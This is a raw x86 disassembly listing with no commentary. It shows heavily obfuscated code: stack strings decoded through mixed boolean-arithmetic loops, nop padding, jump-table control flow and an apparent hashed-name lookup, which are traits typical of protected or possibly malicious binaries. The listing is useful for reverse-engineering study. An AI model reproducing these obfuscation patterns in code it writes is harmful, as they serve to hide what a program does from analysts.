movzx ecx, word [esp + 0x48]
mov word [ebx], cx
add ebx, 2
cmp ebx, dword [esp + 0x14]
jae 0x4138ee
add edi, eax
cmp edi, esi
jb 0x4138c3
mov word [ebx], 0
mov eax, dword [esp + 0xb0]
mov edx, dword [eax + 4]
movzx eax, word [eax]
and eax, 0xfffffffe
lea esi, [edx + eax]
add esi, 0xfffffffe
mov ecx, dword [case.0x41391e.5]
xor eax, eax
mov dword [esp + 0x14], edx
cmp esi, edx
setae al
mov edi, esi
mov edx, esi
jmp dword [eax*4 + 0x448988]
jmp ecx
movzx ebx, word [edx]
xor eax, eax
test bx, bx
setne al
mov edi, esi
jmp dword [eax*4 + 0x4489a0]
xor eax, eax
cmp bx, 0x5c
sete al
mov edi, edx
jmp dword [eax*4 + 0x4489a8]
add edx, 0xfffffffe
xor eax, eax
cmp edx, dword [esp + 0x14]
setae al
mov edi, esi
jmp dword [eax*4 + 0x448988]
mov eax, edi
mov ebx, dword [esp + 0x14]
xor eax, ebx
not ebx
and ebx, edi
add ebx, ebx
mov dword [esp + 0x14], ebx
mov esi, eax
sub ebx, eax
sar ebx, 1
mov ecx, dword [esp + 0x40]
add ecx, ebx
mov eax, ecx
and eax, 1
xor ecx, 1
lea ecx, [ecx + eax*2]
lea eax, [ecx + ecx]
test ecx, ecx
jns 0x4139a2
mov eax, 0xffffffff
push eax
call fcn.0040c470
add esp, 4
mov edi, eax
mov dword [esp + 0x24], eax
cmp dword [esp + 0x14], esi
je 0x413a61
mov eax, dword [esp + 0xb0]
mov eax, dword [eax + 4]
lea ecx, [ebx - 1]
mov edx, ebx
and edx, 3
je 0x413a06
mov dword [esp + 0x40], ebx
mov dword [esp + 0x14], ecx
xor esi, esi
mov edi, dword [esp + 0x24]
movzx ecx, word [eax]
mov ebx, edx
xor edx, edx
test cx, cx
setne dl
lea eax, [eax + edx*2]
mov edx, ebx
mov word [edi], cx
add edi, 2
inc esi
cmp ebx, esi
jne 0x4139dd
mov ebx, dword [esp + 0x40]
sub ebx, esi
mov ecx, dword [esp + 0x14]
jmp 0x413a0a
mov edi, dword [esp + 0x24]
cmp ecx, 3
jb 0x413a61
movzx ecx, word [eax]
xor edx, edx
test cx, cx
setne dl
mov word [edi], cx
lea ecx, [eax + edx*2]
movzx eax, word [eax + edx*2]
xor edx, edx
test ax, ax
setne dl
mov word [edi + 2], ax
lea eax, [ecx + edx*2]
movzx ecx, word [ecx + edx*2]
xor edx, edx
test cx, cx
setne dl
mov word [edi + 4], cx
lea ecx, [eax + edx*2]
movzx edx, word [eax + edx*2]
xor eax, eax
test dx, dx
setne al
lea eax, [ecx + eax*2]
mov word [edi + 6], dx
add edi, 8
add ebx, 0xfffffffc
jne 0x413a0f
mov edx, dword [esp + 0x1c]
movzx eax, word [edx]
test ax, ax
je 0x413ae8
mov ecx, edx
add ecx, 2
mov esi, dword [esp + 0x24]
mov word [edi], ax
add edi, 2
movzx eax, word [ecx]
add ecx, 2
test ax, ax
jne 0x413a76
mov word [edi], 0
jmp dword [0x4489b0]
push edx
call fcn.0040c480
add esp, 4
sub edi, esi
mov eax, 0xffffffff
cmp edi, 0xfffffffe
jl 0x413aac
add edi, 2
mov eax, edi
push eax
call fcn.0040c470
add esp, 4
mov dword [esp + 0x40], eax
push eax
push esi
call fcn.00438430
add esp, 8
jmp dword [0x4489b8]
push esi
call fcn.0040c480
add esp, 4
mov ecx, dword [esp + 0x18]
mov eax, ecx
jmp 0x414818
mov ecx, dword [esp + 0x18]
mov esi, ecx
jmp 0x414810
mov esi, dword [esp + 0x24]
mov word [edi], 0
jmp dword [0x4489b0]
xor esi, esi
xor eax, eax
cmp esi, dword [esp + 0x18]
setb al
mov ebx, dword [esp + 0x2c]
jmp dword [eax*4 + 0x448a28]
lea eax, [esp + 0x48]
push eax
push ebx
call fcn.004045b0
add esp, 8
xor edx, edx
test eax, eax
setg dl
lea eax, [esi + esi*2]
mov ebx, dword [esp + 0x2c]
lea ecx, [ebx + eax*4]
push edx
push dword [esp + 0x18]
push dword [esp + 0x24]
call fcn.00418de0
inc esi
xor eax, eax
cmp esi, dword [esp + 0x18]
setb al
lea edi, [esp + 0x4a]
jmp dword [eax*4 + 0x448a28]
push esi
push dword [esp + 0x2c]
call fcn.00404770
add esp, 8
mov ebx, eax
mov word [esp + 0x48], 0xe9f7
mov byte [esp + 0x4a], 0x9a
mov word [esp + 0x4b], 0
mov dword [esp + 4], 0
mov eax, dword [esp + 4]
cmp eax, 4
ja 0x413bd4
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 4]
mov ecx, dword [esp + 4]
movzx ecx, byte [esp + ecx + 0x48]
mov edx, eax
xor edx, 0x3057b49b
and eax, 0x3057b49b
lea eax, [edx + eax*2]
xor eax, ecx
mov dword [esp + 0xb4], eax
mov eax, dword [esp + 0xb4]
add al, 0xf9
mov ecx, dword [esp + 4]
mov byte [esp + ecx + 0x48], al
inc dword [esp + 4]
mov eax, dword [esp + 4]
cmp eax, 5
jb 0x413b90
lea eax, [esp + 0x48]
push eax
push ebx
call fcn.00404480
add esp, 8
mov dword [esp + 0x14], eax
mov word [esp + 0x48], 0x9db7
mov byte [esp + 0x4a], 0x1a
mov byte [edi + 3], 0
mov word [edi + 1], 0
mov dword [esp + 4], 0
mov eax, dword [esp + 4]
cmp eax, 5
ja 0x413c72
nop
nop
nop
mov eax, dword [esp + 4]
mov ecx, dword [esp + 4]
movzx ecx, byte [esp + ecx + 0x48]
mov edx, eax
xor edx, 0xa450d6fb
and eax, 0x2450d6fb
lea eax, [edx + eax*2]
lea edx, [eax + ecx]
and eax, ecx
mov ecx, edx
not ecx
and ecx, eax
add ecx, eax
not eax
and eax, edx
sub eax, ecx
mov dword [esp + 0xb4], eax
mov eax, dword [esp + 0xb4]
mov ecx, eax
xor ecx, 0xe7
and eax, 0x18
add eax, eax
sub eax, ecx
mov ecx, dword [esp + 4]
mov byte [esp + ecx + 0x48], al
inc dword [esp + 4]
mov eax, dword [esp + 4]
cmp eax, 6
jb 0x413c10
lea eax, [esp + 0x48]
push eax
push ebx
call fcn.00404480
add esp, 8
mov dword [esp + 0x1c], eax
mov dword [esp + 0x48], 0x19b4b7a8
mov byte [edi + 4], 0
mov word [edi + 2], 0
mov dword [esp + 4], 0
mov eax, dword [esp + 4]
cmp eax, 6
ja 0x413b10
nop
nop
nop
nop
nop
mov ecx, dword [esp + 4]
mov eax, dword [esp + 4]
movzx eax, byte [esp + eax + 0x48]
lea edx, [ecx + ecx]
and edx, 0x45360876
mov edi, ecx
sub edi, edx
mov edx, ecx
xor edx, 0x5d64fbc4
or ecx, 0x229b043b
and ecx, edx
lea edx, [edi + ecx*2]
lea ecx, [edi + ecx*2]
add ecx, 0xa29b043b
add edx, eax
add edx, 0xa29b043b
and ecx, eax
mov eax, edx
xor eax, ecx
add eax, ecx
not ecx
and ecx, edx
add ecx, ecx
sub ecx, eax
mov dword [esp + 0xb4], ecx
mov eax, dword [esp + 0xb4]
add al, 0xd9
mov ecx, dword [esp + 4]
mov byte [esp + ecx + 0x48], al
inc dword [esp + 4]
mov eax, dword [esp + 4]
cmp eax, 7
jb 0x413cb0
jmp 0x413b10
mov dword [edx], 0
mov dword [edx + 4], 0
mov byte [edx + 8], 0
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov dword [edx], 0
mov dword [edx + 4], 0
mov byte [edx + 8], 0
jmp dword [0x448a18]
add edx, 0xc
xor ebx, ebx
cmp edx, eax
sete bl
jmp dword [ebx*4 + 0x448a20]
jmp ecx
xor ecx, ecx
test eax, eax
sete cl
jmp dword [ecx*4 + 0x4488a0]
mov word [esp + 0x48], 0x61f0
mov byte [edi + 4], 0
mov dword [edi], 0
mov dword [esp + 4], 0
mov eax, dword [esp + 4]
cmp eax, 6
ja 0x413df4
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 4]
mov ecx, dword [esp + 4]
movzx ecx, byte [esp + ecx + 0x48]
mov edx, eax
xor edx, 0x22215518
and eax, 0x22215518
lea eax, [edx + eax*2]
xor eax, ecx
mov dword [esp + 0xb4], eax
mov eax, dword [esp + 0xb4]
add al, 0x88
mov ecx, dword [esp + 4]
mov byte [esp + ecx + 0x48], al
inc dword [esp + 4]
mov eax, dword [esp + 4]
cmp eax, 7
jb 0x413db0
lea eax, [esp + 0x48]
push eax
push ebx
call fcn.00404480
add esp, 8
mov dword [esp + 0x2c], eax
mov word [esp + 0x48], 0x67f3
mov byte [edi + 2], 0
mov word [edi], 0
mov dword [esp + 4], 0
mov eax, dword [esp + 4]
cmp eax, 4
ja 0x413e74
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 4]
mov ecx, dword [esp + 4]
movzx ecx, byte [esp + ecx + 0x48]
mov edx, eax
xor edx, 0xa81ed099
and eax, 0x281ed099
lea eax, [edx + eax*2]
xor eax, ecx
mov dword [esp + 0xb4], eax
mov eax, dword [esp + 0xb4]
add al, 3
mov ecx, dword [esp + 4]
mov byte [esp + ecx + 0x48], al
inc dword [esp + 4]
mov eax, dword [esp + 4]
cmp eax, 5
jb 0x413e30
lea eax, [esp + 0x48]
push eax
push ebx
call fcn.00404550
add esp, 8
mov dword [esp + 0x44], eax
mov word [esp + 0x48], 0x5bca
mov word [edi + 4], 0
mov dword [edi], 0
mov dword [esp + 4], 0
mov eax, dword [esp + 4]
cmp eax, 7
ja 0x413ef4
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 4]
mov ecx, dword [esp + 4]
movzx ecx, byte [esp + ecx + 0x48]
mov edx, eax
xor edx, 0xc0d3986f
and eax, 0xc0d3986f
lea eax, [edx + eax*2]
xor eax, ecx
mov dword [esp + 0xb4], eax
mov eax, dword [esp + 0xb4]
add al, 0xd5
mov ecx, dword [esp + 4]
mov byte [esp + ecx + 0x48], al
inc dword [esp + 4]
mov eax, dword [esp + 4]
cmp eax, 8
jb 0x413eb0
lea eax, [esp + 0x48]
push eax
push ebx
call fcn.00404480
add esp, 8
mov dword [esp + 0x28], eax
mov word [esp + 0x48], 0x791c
mov dword [esp + 0x4a], 0
mov dword [esp + 4], 0
mov eax, dword [esp + 4]
cmp eax, 5
ja 0x413f82
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 4]
mov ecx, dword [esp + 4]
movzx ecx, byte [esp + ecx + 0x48]
lea edx, [eax - 0x72a14796]
add eax, ecx
add eax, 0x8d5eb86a
not ecx
or edx, ecx
sub ecx, edx
lea eax, [eax + ecx*2]
mov dword [esp + 0xb4], eax
mov eax, dword [esp + 0xb4]
mov ecx, eax
xor ecx, 0x12
and eax, 0x6d
add eax, eax
sub eax, ecx
mov ecx, dword [esp + 4]
mov byte [esp + ecx + 0x48], al
inc dword [esp + 4]
mov eax, dword [esp + 4]
cmp eax, 6
jb 0x413f30
lea eax, [esp + 0x48]
push eax
push ebx
call fcn.004044e0
add esp, 8
mov word [esp + 0x48], 0xeefe
mov byte [esp + 0x4a], 0x5a
mov byte [edi + 3], 0
mov word [edi + 1], 0
fnstcw word [esp + 0x106]
movzx eax, word [esp + 0x106]
or eax, 0xc00
mov word [esp + 0x116], ax
fldcw word [esp + 0x116]
fistp dword [esp + 0x134]
fldcw word [esp + 0x106]
mov eax, dword [esp + 0x134]
mov dword [esp + 0x40], eax
mov dword [esp + 4], 0
mov eax, dword [esp + 4]
cmp eax, 5
ja 0x414039
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 4]
mov ecx, dword [esp + 4]
movzx ecx, byte [esp + ecx + 0x48]
add eax, 0x6ebafd6f
xor eax, ecx
mov dword [esp + 0xb4], eax
mov eax, dword [esp + 0xb4]
add al, 0xd5
mov ecx, dword [esp + 4]
mov byte [esp + ecx + 0x48], al
inc dword [esp + 4]
mov eax, dword [esp + 4]
cmp eax, 6
jb 0x414000
lea eax, [esp + 0x48]
push eax
push ebx
call fcn.004044e0
add esp, 8
mov word [esp + 0x48], 0xb5b2
mov byte [esp + 0x4a], 0x1e
mov word [esp + 0x4b], 0
fnstcw word [esp + 0x104]
movzx eax, word [esp + 0x104]
or eax, 0xc00
mov word [esp + 0x114], ax
fldcw word [esp + 0x114]
fistp dword [esp + 0x130]
fldcw word [esp + 0x104]
mov eax, dword [esp + 0x130]
mov dword [esp + 0xb0], eax
mov dword [esp + 4], 0
mov eax, dword [esp + 4]
cmp eax, 4
ja 0x414108
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 4]
mov ecx, dword [esp + 4]
movzx edx, byte [esp + ecx + 0x48]
lea ecx, [eax + edx]
add ecx, 0xa6413c7a
add eax, 0xa6413c7a
and eax, edx
mov edx, ecx
not edx
and edx, eax
mov esi, eax
not esi
and ecx, esi
sub ecx, edx
xor eax, ecx
and ecx, esi
add ecx, ecx
sub ecx, eax
mov dword [esp + 0xb4], ecx
mov eax, dword [esp + 0xb4]
add al, 0x9e
mov ecx, dword [esp + 4]
mov byte [esp + ecx + 0x48], al
inc dword [esp + 4]
mov eax, dword [esp + 4]
cmp eax, 5
jb 0x4140b0
lea eax, [esp + 0x48]
push eax
push ebx
call fcn.004045b0
add esp, 8
mov dword [esp + 0x11c], eax
mov eax, dword [esp + 0x2c]
lea ebx, [eax - 1]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp byte [ebx + 1], 0
lea ebx, [ebx + 1]
jne 0x414130
xor esi, esi
cmp eax, ebx
jae 0x414177
cmp byte [eax], 0
je 0x414177
xor esi, esi
mov edi, dword [esp + 0x2c]
nop
nop
nop
nop
nop
nop
mov dword [esp + 0x48], 0
lea eax, [esp + 0x48]
push eax
push ebx
push edi
call fcn.00410690
add esp, 0xc
lea ecx, [edi + eax]
inc esi
cmp ecx, ebx
jae 0x414177
cmp byte [edi + eax], 0
mov edi, ecx
jne 0x414150
mov eax, esi
inc eax
lea eax, [esi + esi + 2]
jns 0x414185
mov eax, 0xffffffff
push eax
call fcn.0040c470
add esp, 4
mov dword [esp + 0x48], 0
lea ecx, [eax + esi*2]
mov edi, eax
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], ecx
cmp eax, ecx
mov ecx, dword [esp + 0x2c]
jae 0x4141f9
mov edi, dword [esp + 0x18]
cmp ecx, ebx
jae 0x4141f9
mov edi, dword [esp + 0x18]
mov dword [esp + 0x1c], esi
nop
nop
nop
nop
nop
cmp byte [ecx], 0
je 0x4141f9
lea eax, [esp + 0x48]
push eax
push ebx
push ecx
mov esi, ecx
call fcn.00410690
add esp, 0xc
movzx ecx, word [esp + 0x48]
mov word [edi], cx
add edi, 2
cmp edi, dword [esp + 0x14]
jae 0x4141f5
add esi, eax
cmp esi, ebx
mov ecx, esi
mov esi, dword [esp + 0x1c]
jb 0x4141c0
jmp 0x4141f9
mov esi, dword [esp + 0x1c]
mov word [edi], 0
lea eax, [esp + 4]
push eax
push 0
push 0
push esi
push dword [esp + 0x28]
push 0
call dword [0x44e370]
mov edi, dword [esp + 4]
lea eax, [edi + edi]
test edi, edi
jns 0x414224
mov eax, 0xffffffff
push eax
call fcn.0040c470
add esp, 4
mov ebx, eax
lea eax, [esp + 4]
push eax
push edi
push ebx
push esi
mov esi, dword [esp + 0x28]
push esi
push 0
call dword [0x44e370]
jmp dword [0x4488b8]
push esi
call fcn.0040c480
add esp, 4
mov ecx, dword [esp + 0x28]
mov eax, ecx
jmp 0x414579
mov ecx, dword [esp + 0x28]
mov esi, ecx
jmp 0x414571
mov ebx, dword [esp + 0x1c]
inc ebx
push edi
call fcn.00404760
add esp, 4
xor ecx, ecx
cmp ebx, eax
setb cl
jmp dword [ecx*4 + 0x4489c0]
mov dword [esp + 0x1c], ebx
push ebx
push edi
call fcn.00404740
add esp, 8
push eax
call fcn.004044c0
add esp, 4
mov ebx, eax
xor eax, eax
test ebx, ebx
sete al
jmp dword [eax*4 + 0x4489d0]
mov eax, ebx
nop
nop
mov edi, eax
inc eax
cmp byte [edi], 0
jne 0x4142b0
mov esi, edi
sub esi, ebx
mov eax, esi
inc eax
jns 0x4142c8
mov eax, 0xffffffff
jmp 0x4142cf
lea eax, [esi*2 + 2]
push eax
call fcn.0040c470
add esp, 4
mov dword [esp + 4], 0
lea ecx, [eax + esi*2]
mov esi, eax
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], ecx
cmp eax, ecx
jae 0x41432b
mov esi, dword [esp + 0x18]
cmp ebx, edi
jae 0x41432b
mov esi, dword [esp + 0x18]
nop
nop
nop
cmp byte [ebx], 0
je 0x41432b
lea eax, [esp + 4]
push eax
push edi
push ebx
call fcn.00410690
add esp, 0xc
movzx ecx, word [esp + 4]
mov word [esi], cx
add esi, 2
cmp esi, dword [esp + 0x14]
jae 0x41432b
add ebx, eax
cmp ebx, edi
jb 0x414300
mov word [esi], 0
push 0
push 0
push dword [esp + 0x34]
push dword [esp + 0x50]
mov edi, dword [esp + 0x28]
push edi
push dword [esp + 0x54]
push dword [esp + 0x3c]
lea esi, [esp + 0x64]
push esi
call fcn.004202f0
add esp, 0x20
jmp dword [0x4489d8]
push edi
call fcn.0040c480
add esp, 4
mov eax, dword [case.0x41391e.19]
mov edi, dword [esp + 0x28]
nop
nop
jmp eax
jmp dword [0x4489c8]
push dword [esp + 0x24]
call fcn.0040c480
add esp, 4
lea ebx, [esp + 0xb4]
jmp dword [0x4489f0]
lea ebx, [esp + 0xb4]
jmp dword [0x4489f0]
push dword [esp + 0x40]
call fcn.0040c480
add esp, 4
mov ecx, esi
call fcn.0040d760
mov ecx, esi
call fcn.0040ce70
push dword [esp + 0xb0]
call fcn.0043b5c0
add esp, 4
mov ecx, ebx
call fcn.0043ba50
jmp case.0x41293a.1
jmp dword [0x448970]
mov ebx, dword [esp + 0x18]
inc ebx
push edi
call fcn.00404760
add esp, 4
xor ecx, ecx
cmp ebx, eax
setb cl
jmp dword [ecx*4 + 0x4488c0]
mov dword [esp + 0x18], ebx
push ebx
push edi
call fcn.00404740
add esp, 8
push eax
call fcn.004044c0
add esp, 4
mov ebx, eax
xor eax, eax
test ebx, ebx
sete al
jmp dword [eax*4 + 0x4488e0]
mov eax, ebx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov esi, eax
inc eax
cmp byte [esi], 0
jne 0x414430
mov eax, esi
sub eax, ebx
mov dword [esp + 0x1c], eax
lea edi, [eax + 1]
lea eax, [edi + edi]
test edi, edi
jns 0x41444f
mov eax, 0xffffffff
push eax
call fcn.0040c470
add esp, 4
mov dword [esp + 0xb4], 0
lea ecx, [eax + edi*2]
add ecx, 0xfffffffe
mov edi, eax
mov dword [esp + 0x28], eax
mov dword [esp + 0x14], ecx
cmp eax, ecx
jae 0x4144d0
mov edi, dword [esp + 0x28]
cmp ebx, esi
jae 0x4144d0
mov eax, ebx
add eax, dword [esp + 0x1c]
mov dword [esp + 0x1c], eax
mov edi, dword [esp + 0x28]
nop
nop
nop
cmp byte [ebx], 0
je 0x4144d0
lea eax, [esp + 0xb4]
push eax
push dword [esp + 0x20]
push ebx
call fcn.00410690
add esp, 0xc
movzx ecx, word [esp + 0xb4]
mov word [edi], cx
add edi, 2
cmp edi, dword [esp + 0x14]
jae 0x4144d0
add ebx, eax
cmp ebx, esi
jb 0x414490
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
xor eax, eax
cmp dword [esp + 0x11c], 0
setg al
mov word [edi], 0
push 0
push eax
push dword [esp + 0x48]
push dword [esp + 0xbc]
mov ebx, dword [esp + 0x38]
push ebx
push dword [esp + 0x38]
push dword [esp + 0x44]
lea esi, [esp + 0x64]
push esi
call fcn.004202f0
add esp, 0x20
mov edi, dword [esp + 0x44]
jmp dword [0x4488e8]
push ebx
call fcn.0040c480
add esp, 4
jmp case.0x4101ab.132
mov edi, dword [esp + 0x24]
jmp dword [0x4488d8]
jmp dword [0x4488f0]
jmp dword [0x4488f8]
push edi
call fcn.0040c480
add esp, 4
jmp dword [0x448900]
lea esi, [esp + 0x48]
mov ecx, esi
call fcn.0040d760
mov ecx, esi
jmp 0x41345b
lea eax, [esi + 1]
cmp byte [esi], 0
je 0x41457d
mov esi, eax
jmp 0x414571
mov dword [esp + 0x24], ebx
xor edi, edi
cmp esi, ecx
jbe 0x4145c7
cmp byte [ecx], 0
je 0x4145c7
xor edi, edi
mov ebx, dword [esp + 0x28]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov dword [esp + 0x48], 0
lea eax, [esp + 0x48]
push eax
push esi
push ebx
call fcn.00410690
add esp, 0xc
lea ecx, [ebx + eax]
inc edi
cmp ecx, esi
jae 0x4145c7
cmp byte [ebx + eax], 0
mov ebx, ecx
jne 0x4145a0
mov eax, edi
inc eax
lea eax, [edi + edi + 2]
jns 0x4145d5
mov eax, 0xffffffff
push eax
call fcn.0040c470
add esp, 4
mov dword [esp + 0x48], 0
lea ecx, [eax + edi*2]
mov edi, eax
mov dword [esp + 0x2c], eax
mov dword [esp + 0x14], ecx
cmp eax, ecx
mov ebx, dword [esp + 0x28]
jae 0x41463b
mov edi, dword [esp + 0x2c]
cmp ebx, esi
jae 0x41463b
mov edi, dword [esp + 0x2c]
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp byte [ebx], 0
je 0x41463b
lea eax, [esp + 0x48]
push eax
push esi
push ebx
call fcn.00410690
add esp, 0xc
movzx ecx, word [esp + 0x48]
mov word [edi], cx
add edi, 2
cmp edi, dword [esp + 0x14]
jae 0x41463b
add ebx, eax
cmp ebx, esi
jb 0x414610
mov word [edi], 0
lea ecx, [esp + 0x48]
push 1
call fcn.0040ce30
xor ebx, ebx
mov edi, dword [esp + 0x44]
jmp case.0x4101ab.124
cmp dword [edx + ebx*8], 0x1b788dcf
je 0x414666
inc ebx
cmp esi, ebx
jne 0x414656
jmp case.0x414993.2
mov edx, dword [edx + ebx*8 + 4]
cmp edx, edi
je case.0x414993.2
push 0
push ecx
push dword [esp + 0x1c]
push 0x2b
push eax
push 5
push dword [0x44e37c]
push edx
call fcn.0043e4b0
add esp, 0x20
mov eax, dword [esp + 0x30]
add eax, 2
push eax
call fcn.0043b530
add esp, 4
mov dword [esp + 0xb0], eax
mov ecx, dword [esp + 0x30]
add ecx, 2
mov edx, dword [esp + 0xb4]
mov dword [esp + 0x38], 0x9c9d9a9b
mov dword [esp + 4], 0
mov eax, dword [esp + 4]
cmp eax, 3
ja 0x414710
mov esi, dword [esp + 4]
mov eax, dword [esp + 4]
movzx eax, byte [esp + eax + 0x38]
mov edi, esi
xor edi, 0x3d9fbf1a
and esi, 0x3d9fbf1a
lea esi, [edi + esi*2]
lea edi, [esi + eax]
not eax
or esi, eax
sub eax, esi
lea eax, [edi + eax*2]
mov dword [esp + 0x48], eax
mov eax, dword [esp + 0x48]
add al, 0x7e
mov esi, dword [esp + 4]
mov byte [esp + esi + 0x38], al
inc dword [esp + 4]
mov eax, dword [esp + 4]
cmp eax, 4
jb 0x4146c7
mov eax, dword [esp + 0x38]
mov esi, dword [0x44e374]
test esi, esi
je 0x414742
xor edi, edi
mov ebx, dword [0x44e378]
cmp dword [ebx + edi*8], 0x1b788dcf
je 0x414736
inc edi
cmp esi, edi
jne 0x414726
jmp 0x414742
mov esi, dword [ebx + edi*8 + 4]
cmp esi, eax
jne 0x4147ec
jmp dword [0x44897c]
mov eax, dword [esp + 0x30]
add eax, 2
push eax
call fcn.0043b530
add esp, 4
mov dword [esp + 0x14], eax
mov ecx, dword [esp + 0x30]
add ecx, 2
mov eax, dword [esp + 0xb4]
mov dword [esp + 0x38], 0x9c9d9a9b
mov dword [esp + 4], 0
mov edx, dword [esp + 4]
cmp edx, 3
ja 0x4147cd
mov esi, dword [esp + 4]
mov edx, dword [esp + 4]
movzx edx, byte [esp + edx + 0x38]
mov edi, esi
xor edi, 0x3d9fbf1a
and esi, 0x3d9fbf1a
lea esi, [edi + esi*2]
lea edi, [esi + edx]
not edx
or esi, edx
sub edx, esi
lea edx, [edi + edx*2]
mov dword [esp + 0x48], edx
mov edx, dword [esp + 0x48]
add dl, 0x7e
mov esi, dword [esp + 4]
mov byte [esp + esi + 0x38], dl
inc dword [esp + 4]
mov edx, dword [esp + 4]
cmp edx, 4
jb 0x414783
mov esi, dword [0x44e374]
test esi, esi
je case.0x414993.2
mov edi, dword [esp + 0x38]
xor ebx, ebx
mov edx, dword [0x44e378]
jmp 0x414656
push 0
push ecx
push dword [esp + 0xb8]
push 0x2b
push edx
push 5
push dword [0x44e37c]
push esi
call fcn.0043e4b0
add esp, 0x20
jmp dword [0x44897c]
lea eax, [esi + 1]
cmp byte [esi], 0
je 0x41481c
mov esi, eax
jmp 0x414810
push esi
push ecx
call fcn.00418d90
add esp, 8
mov ecx, eax
and ecx, 1
xor eax, 1
lea edi, [eax + ecx*2]
lea eax, [edi + edi]
test edi, edi
jns 0x41483d
mov eax, 0xffffffff
push eax
call fcn.0040c470
add esp, 4
mov dword [esp + 0x48], 0
lea ecx, [eax + edi*2]
add ecx, 0xfffffffe
mov edi, eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x14], ecx
cmp eax, ecx
mov ebx, dword [esp + 0x18]
jae 0x41489d
mov edi, dword [esp + 0x24]
cmp ebx, esi
jae 0x41489d
mov edi, dword [esp + 0x24]
cmp byte [ebx], 0
je 0x41489d
lea eax, [esp + 0x48]
push eax
push esi
push ebx
call fcn.00410690
add esp, 0xc
movzx ecx, word [esp + 0x48]
mov word [edi], cx
add edi, 2
cmp edi, dword [esp + 0x14]
jae 0x41489d
add ebx, eax
cmp ebx, esi
jb 0x414872
mov word [edi], 0
lea esi, [esp + 0x48]
mov ecx, esi
push 1
call fcn.0040ce30
xor ebx, ebx
mov edi, dword [esp + 0x28]
jmp case.0x4101ab.192
mov dword [esp + 0x30], 0
mov eax, dword [esp + 0xb4]
mov dword [esp + 0x38], 0x9c9d9a9b
mov dword [esp + 4], 0
mov ecx, dword [esp + 4]
cmp ecx, 3
ja 0x41492c
mov edx, dword [esp + 4]
mov ecx, dword [esp + 4]
movzx ecx, byte [esp + ecx + 0x38]
mov esi, edx
xor esi, 0x3d9fbf1a
and edx, 0x3d9fbf1a
lea edx, [esi + edx*2]
lea esi, [edx + ecx]
not ecx
or edx, ecx
sub ecx, edx
lea ecx, [esi + ecx*2]
mov dword [esp + 0x48], ecx
mov ecx, dword [esp + 0x48]
add cl, 0x7e
mov edx, dword [esp + 4]
mov byte [esp + edx + 0x38], cl
inc dword [esp + 4]
mov ecx, dword [esp + 4]
cmp ecx, 4
jb 0x4148e2
mov ecx, dword [esp + 0x38]
mov edx, dword [0x44e374]
test edx, edx
je case.default.0x414993
xor esi, esi
mov edi, dword [0x44e378]
cmp dword [edi + esi*8], 0x1b788dcf
je 0x414952
inc esi
cmp edx, esi
jne 0x414942
jmp case.default.0x414993
mov edx, dword [edi + esi*8 + 4]
cmp edx, ecx
jne 0x41496c
xor eax, eax
cmp ecx, 0xc0000004
sete al
jmp dword [eax*4 + 0x448968]
lea ecx, [esp + 0x30]
push ecx
push 0
push 0
push 0x2b
push eax
push 5
push dword [0x44e37c]
push edx
call fcn.0043e4b0
add esp, 0x20
xor ecx, ecx
cmp eax, 0xc0000004
sete cl
jmp dword [ecx*4 + 0x448968]
mov ecx, ebx
push 0x400
call fcn.0043b8b0
jmp dword [0x44895c]
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x448960]
mov word [esp + 0x30], 0x7e72
mov byte [esp + 0x32], 0xe
lea eax, [esp + 0x33]
mov byte [eax + 4], 0
mov dword [eax], 0
mov dword [esp + 0x10], 0
mov eax, dword [esp + 0x10]
cmp eax, 7
ja 0x414a2e
nop
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x10]
movzx ecx, byte [esp + ecx + 0x30]
mov edx, eax
xor edx, 0x2da90802
and eax, 0x2da90802
lea eax, [edx + eax*2]
xor eax, ecx
mov dword [esp + 0x20], eax
mov eax, dword [esp + 0x20]
add al, 0xf6
mov ecx, dword [esp + 0x10]
mov byte [esp + ecx + 0x30], al
inc dword [esp + 0x10]
mov eax, dword [esp + 0x10]
cmp eax, 8
jb 0x4149f0
push 3
lea eax, [esp + 0x34]
push eax
push ebx
call fcn.00404700
add esp, 0xc
jmp dword [0x448898]
mov word [esp + 0x30], 0x7e72
mov byte [esp + 0x32], 0xe
lea eax, [esp + 0x33]
mov byte [eax + 4], 0
mov dword [eax], 0
mov dword [esp + 0x10], 0
mov eax, dword [esp + 0x10]
cmp eax, 7
ja 0x414aae
nop
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x10]
movzx ecx, byte [esp + ecx + 0x30]
mov edx, eax
xor edx, 0x2da90802
and eax, 0x2da90802
lea eax, [edx + eax*2]
xor eax, ecx
mov dword [esp + 0x20], eax
mov eax, dword [esp + 0x20]
add al, 0xf6
mov ecx, dword [esp + 0x10]
mov byte [esp + ecx + 0x30], al
inc dword [esp + 0x10]
mov eax, dword [esp + 0x10]
cmp eax, 8
jb 0x414a70
push 3
lea eax, [esp + 0x34]
push eax
push ebx
call fcn.00404700
add esp, 0xc
jmp case.0x412d6a.2
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
int3
mov eax, dword [esi + 0x8d0]
mov ecx, dword [esi + 0x8d4]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esi + 0x718]
mov ecx, dword [esi + 0x71c]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0040df00
mov dword [esi + 0x5b8], 1
mov eax, dword [esi + 0x5bc]
mov ecx, dword [esi + 0x5b8]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0040df00
mov eax, dword [esi]
